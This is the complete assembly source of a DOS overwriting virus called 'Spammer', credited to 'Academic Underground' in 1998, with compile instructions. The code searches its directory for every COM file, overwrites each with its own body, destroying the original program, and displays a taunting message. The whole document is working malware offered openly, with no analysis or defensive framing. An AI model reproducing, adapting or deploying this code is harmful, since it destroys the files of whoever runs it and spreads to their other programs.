;Spammer Virus
;
; A sample overwritting virus that will overwrite every COM file in it's
; directory.  Any overwritten file will display a taunting message.
;
; To compile:
;    TASM spammer.asm
;    TLINK /t spammer.obj
;
; (c) Sept 1998 Academic Underground

                .model small
                .code

FNAME           EQU 9Eh                 ; DTA - Search results
                org 100h
SPAMMER:
                mov ax, 4e00h           ; Find first file
                mov dx, offset COM_FILE ; Search String (*.COM)
                mov cx, 0               ; No file attributes
                int 21h                 ; Search.
SEARCH_AGAIN:
                jc  DONE                ; Nope, no COMs...quit.
                call INFECT             ; Found one! Infect.
                mov ah,4fh              ; Find Next (DTA already set)
                int 21h                 ; Find it.
                jmp SEARCH_AGAIN
INFECT:
                mov ax,3d01h            ; Open file as Write only
                mov dx,FNAME            ; Filename from DTA
                int 21h                 ; Open it
                jc  DONE                ; Damn error, quit

                xchg ax,bx              ; Move file handle to BX
                mov ah,40h              ; Write to file
                mov cx, (offset END_V - offset SPAMMER)
                                        ; Length of virus
                mov dx,100h             ; Start of our virus
                int 21h                 ; Commit Changes

                mov ah,3eh              ; OK we're done, Close file
                int 21h
                ret
PAYLOAD:
                mov ah,9h               ; Write string
                mov dx,offset MSG       ; String to write
                int 21h                 ; Display it
                ret
DONE:
                call PAYLOAD            ; Execute Payload
                mov ax,4c00h            ; Quit without error
                int 21h                 ; Return to DOS

COM_FILE        db      '*.COM',0       ; Find all COM files
MSG             db      'Ha Ha Ha!  I own YOU!  -- The Spammer$'

END_V:
                END     SPAMMER